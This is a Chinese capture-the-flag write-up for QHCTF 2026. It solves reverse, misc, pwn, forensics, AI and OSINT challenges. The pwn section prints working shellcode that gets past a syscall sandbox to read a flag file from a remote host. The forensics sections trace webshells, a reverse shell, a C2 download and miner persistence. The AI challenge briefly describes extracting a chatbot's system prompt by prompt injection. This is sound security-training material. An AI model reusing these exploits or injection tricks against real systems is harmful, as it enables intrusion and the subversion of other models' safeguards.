Reverse
调查问卷
下载下来以为真是一个问卷题。。。结果拖进IDA才发现不对
前置正常的逻辑我们就不看了,就是几个小question,我们直接看算法的部分
首先检查lenth=43,必须以QHCTF{开头,以}结尾
遍历输入的每一个字节,将其作为索引在 byte_499760 数组中查找对应的值并替换原值
列混淆的部分代码太长,就不贴图了,大概就是通过代码中(2 * v40) ^ 0x1B的运算,结合 4 字节一组的处理方式和异或累加结构,可以判定这是 AES 的列混淆变换
经典的TEA加密,密钥是VRUSEKYE202YGLF6
魔改的base64编码(QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm0123456789+/):
写脚本解密字符串“ZpopRs/uh9eE0BfNQcpJd7bB5BmSWuvQ+Ac/s/iPqjRESDLssGlpOAewRRPR7Py/”
exp:
import struct
b64table = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm0123456789+/"target_b64 = "ZpopRs/uh9eE0BfNQcpJd7bB5BmSWuvQ+Ac/s/iPqjRESDLssGlpOAewRRPR7Py/"tea_key = b"VRUSEKYE202YGLF6"sbox = [ 0x52,0x09,0x6A,0xD5,0x30,0x36,0xA5,0x38,0xBF,0x40,0xA3,0x9E,0x81,0xF3,0xD7,0xFB, 0x7C,0xE3,0x39,0x82,0x9B,0x2F,0xFF,0x87,0x34,0x8E,0x43,0x44,0xC4,0xDE,0xE9,0xCB, 0x54,0x7B,0x94,0x32,0xA6,0xC2,0x23,0x3D,0xEE,0x4C,0x95,0x0B,0x42,0xFA,0xC3,0x4E, 0x08,0x2E,0xA1,0x66,0x28,0xD9,0x24,0xB2,0x76,0x5B,0xA2,0x49,0x6D,0x8B,0xD1,0x25, 0x72,0xF8,0xF6,0x64,0x86,0x68,0x98,0x16,0xD4,0xA4,0x5C,0xCC,0x5D,0x65,0xB6,0x92, 0x6C,0x70,0x48,0x50,0xFD,0xED,0xB9,0xDA,0x5E,0x15,0x46,0x57,0xA7,0x8D,0x9D,0x84, 0x90,0xD8,0xAB,0x00,0x8C,0xBC,0xD3,0x0A,0xF7,0xE4,0x58,0x05,0xB8,0xB3,0x45,0x06, 0xD0,0x2C,0x1E,0x8F,0xCA,0x3F,0x0F,0x02,0xC1,0xAF,0xBD,0x03,0x01,0x13,0x8A,0x6B, 0x3A,0x91,0x11,0x41,0x4F,0x67,0xDC,0xEA,0x97,0xF2,0xCF,0xCE,0xF0,0xB4,0xE6,0x73, 0x96,0xAC,0x74,0x22,0xE7,0xAD,0x35,0x85,0xE2,0xF9,0x37,0xE8,0x1C,0x75,0xDF,0x6E, 0x47,0xF1,0x1A,0x71,0x1D,0x29,0xC5,0x89,0x6F,0xB7,0x62,0x0E,0xAA,0x18,0xBE,0x1B, 0xFC,0x56,0x3E,0x4B,0xC6,0xD2,0x79,0x20,0x9A,0xDB,0xC0,0xFE,0x78,0xCD,0x5A,0xF4, 0x1F,0xDD,0xA8,0x33,0x88,0x07,0xC7,0x31,0xB1,0x12,0x10,0x59,0x27,0x80,0xEC,0x5F, 0x60,0x51,0x7F,0xA9,0x19,0xB5,0x4A,0x0D,0x2D,0xE5,0x7A,0x9F,0x93,0xC9,0x9C,0xEF, 0xA0,0xE0,0x3B,0x4D,0xAE,0x2A,0xF5,0xB0,0xC8,0xEB,0xBB,0x3C,0x83,0x53,0x99,0x61, 0x17,0x2B,0x04,0x7E,0xBA,0x77,0xD6,0x26,0xE1,0x69,0x14,0x63,0x55,0x21,0x0C,0x7D,]inv_sbox = [0] * 256for i in range(256): inv_sbox[sbox[i]] = imix_matrix = [ [2, 3, 1, 1], [1, 2, 3, 1], [1, 1, 2, 3], [3, 1, 1, 2],]inv_mix_matrix = [ [14, 11, 13, 9], [ 9, 14, 11, 13], [13, 9, 14, 11], [11, 13, 9, 14],]def gf_mul(a, b): p = 0 for _ in range(8): if b & 1: p ^= a hi = a & 0x80 a = (a << 1) & 0xFF if hi: a ^= 0x1B b >>= 1 return pdef inv_mix_column(col): result = [0, 0, 0, 0] for i in range(4): for j in range(4): result[i] ^= gf_mul(inv_mix_matrix[i][j], col[j]) return resultdef custom_b64_decode(s, table): result = [] for i in range(0, len(s), 4): c0 = table.index(s[i]) c1 = table.index(s[i+1]) c2 = table.index(s[i+2]) c3 = table.index(s[i+3]) val = (c0 << 18) | (c1 << 12) | (c2 << 6) | c3 result.append((val >> 16) & 0xFF) result.append((val >> 8) & 0xFF) result.append(val & 0xFF) return bytes(result)after_tea = custom_b64_decode(target_b64, b64table)def tea_decrypt(block, key): v0, v1 = struct.unpack('<II', block) k = struct.unpack('<IIII', key) delta = 0x9E3779B9 s = (delta * 32) & 0xFFFFFFFF for _ in range(32): v1 = (v1 - ((((v0 << 4) ^ (v0 >> 5)) + v0) ^ (s + k[(s >> 11) & 3]))) & 0xFFFFFFFF s = (s - delta) & 0xFFFFFFFF v0 = (v0 - ((((v1 << 4) ^ (v1 >> 5)) + v1) ^ (s + k[s & 3]))) & 0xFFFFFFFF return struct.pack('<II', v0, v1)after_matrix = b''for i in range(0, len(after_tea), 8): after_matrix += tea_decrypt(after_tea[i:i+8], tea_key)data = list(after_matrix)for i in range(0, 40, 4): col = data[i:i+4] inv_col = inv_mix_column(col) data[i:i+4] = inv_colafter_sbox = bytes(data)plaintext = bytes([inv_sbox[b] for b in after_sbox])print(f"{plaintext[:43].decode('ascii', errors='replace')}")flag:QHCTF{cb6e8b7b-7b8a-4bb9-a973-55be79daf77c}
Misc
真是签到
略
flag:QHCTF{W3lc0m3_t0_QHCTF_2026!}
真问卷
略
flag:QHCTF{1f69e646-076c-463f-8219-61bf9012591e}
兄弟你好香
音频是频谱隐写(虽然一点用没有但是既然get了就写一下):
图片用foremost可以分离出一个zip,其中包含一段文本:
=== 兄弟,你好香啊 === 恭喜你找到了这个文件!但flag还需要解密… 提示:
- 密文经过了三层加密
- 最外层是ROT13
- 中间层是Base64
- 最内层是AES-ECB,密钥与”兄弟你好香”的英文有关
- 密钥长度为16字节 加密后的flag: ygy/AONrj8D+kjqBg2F/nxJARXoKft85oRsiQAjhORFPjtvh2aC3aBiGQAHUNm1N 祝你好运,香香的兄弟! 然后开始猜密钥(最开始一直在往音频隐写X1@ngN1H4o的这个方向猜,后来发现提示说的是英文,出题人你赔我时间。)
然后猜到密钥是BrotherYouSmell!
flag
Pwn
ret2shellcode
常规分析:
没什么特别的
IDA:
注意到有沙箱,除此之外整个程序的逻辑就是从用户输入读取0x100字节的shellcode并执行
沙箱规则:
这个沙箱是白名单沙箱,只允许三个系统调用open、write、mmap,不能通过常规的ORW链打,而是通过mmap直接映射到内存中write打印出来 在这里遇到文件名的问题,本地打通完之后在远程尝试了flag和/flag都没打出来,而且远程和本地的欢迎语还不一样))
在这里怀疑是不是出题人给我们假附件,其实远程的程序不是直接执行shellcode/shellcode有其他限制,所以写了一个debug版的shellcode
shellcode_asm = '''mov rax, 0x0a6f6c6c6548 push rax mov rdi, 1 mov rsi, rsp mov rdx, 6 mov rax, 1 syscall '''发现远程可以正常回显
那只能怀疑是文件名的问题了,尝试发现/home/ctf/flag是可行的
#!/usr/bin/env python3from pwn import *context.arch = 'amd64'context.log_level = 'debug'
io = remote('220.168.118.182', 32680)
shellcode = shellcraft.pushstr("/home/ctf/flag")shellcode += ''' mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 2 syscall
mov r8, rax xor rdi, rdi mov rsi, 0x100 mov rdx, 1 mov r10, 2 xor r9, r9 mov rax, 9 syscall
mov rsi, rax mov rdi, 1 mov rdx, 0x100 mov rax, 1 syscall
mov rax, 60 xor rdi, rdi syscall'''
io.sendline(asm(shellcode))print(io.recvall().strip().decode(errors='ignore'))io.close()(在解出来30min后就在群里发了文件路径,赔我时间!!!)
Forensics
深夜入侵(非预期)
直接cat /verify得到flag
应急溯源1
检查一手readonly,发现是false直接盲猜CVE-2017-12617,直接对
flag:QHCTF{CVE-2017-12617}
应急溯源2
在webapp/ROOT下找到大量可疑jsp
审计发现存在多种版本的冰蝎马,但是题目明确指出有密钥,所以把目光转到冰蝎3.0的马上,发现hMS8xu.jsp中存在xc和pass变量,猜测是密钥和密码
flag:QHCTF{3c6e0b8a9c15224a_pass}
应急溯源3
到这里就开始真正的到溯源和还原攻击链的部分了,首先先检查bash的历史
发现历史只有下载恶意样本的记录,没有我们想要的反弹shell的记录,回头把目光放回web相关的文件中
发现host和port是作为参数传入进行反弹shell的,因此我们检查日志中的连接情况
虽然没有找到直接传参的host和port,但是我们可以找到193.239.86.139这个IP,猜测攻击链条为攻击者 IP (193.239.86.139) 通过rce.jsp/shell.jsp获得了权限,然后执行了curl命令连接到自己的 C2 服务器下载进一步的恶意负载。
flag:QHCTF{193.239.86.139:8888}
应急溯源4
这一步卡了很久,绕了很多弯,最后的想法是直接通过日期来锁定文件…尝试了06.06-06.10逐天排查
然后发现这样下去没个头,然后转向cron文件创建时间09.25开始寻找
发现了可疑服务,查看路径
题目暗示可能存在不止一个文件,因此查询/opt下的文件
疑似两个服务互相唤起
flag:QHCTF{/opt/.kthread/kthread,/opt/.X11-Xtrace/kworker}
应急溯源5
其实在4之前就做出5了,因为要还原攻击链条难免要查看计划任务
flag
应急溯源6
因为我们已经找到了挖矿程序,可以直接docker cp出来,利用strace分析连接情况
flag:QHCTF{159.198.35.43:8081}
应急溯源7
其实就是IP反查域名,直接搜就行
flag:QHCTF{nc-ph-0601-10.web-hosting.com}
应急溯源8
直接在前面就有,不赘述了
flag:QHCTF{https://www.atteppzkf.com}
AI
神经迷踪
没怎么做过AI安全相关的题目,在网上搜索了一些常见的提示词注入发现角色扮演类没用
逻辑陷阱虽然有用但是被拦截:
尝试爆破系统提示词成功:
然后刷新了一下页面再次发送同样的prompt就直接出了?
不太清楚原理是什么,正如我开头所说的,没打过什么AI安全相关的题目)
flag:QHCTF{6d708135-6803-4569-833c-d53d5d2d05b7}
Osint
猜猜这是哪2.0
根据图片锁定列车编号,查询发现是广铁长沙段的(其实这也没什么用,因为视频里有广铁U彩的播音,感觉图片唯一有用的就是时间)
看视频发现38s处有企业名字:
地图搜:
锁定沪昆线+下行,这个语音播报应该是刚离开某个车站,遂锁定铜仁南站
然后看通过广铁长沙段筛选(还有一个筛选条件是12:55左右停站,但是因为早晚点,可以放宽到12:50-13:00停站)
得到flag:QHCTF{G2105_长沙南_铜仁南_三穗_贵州省}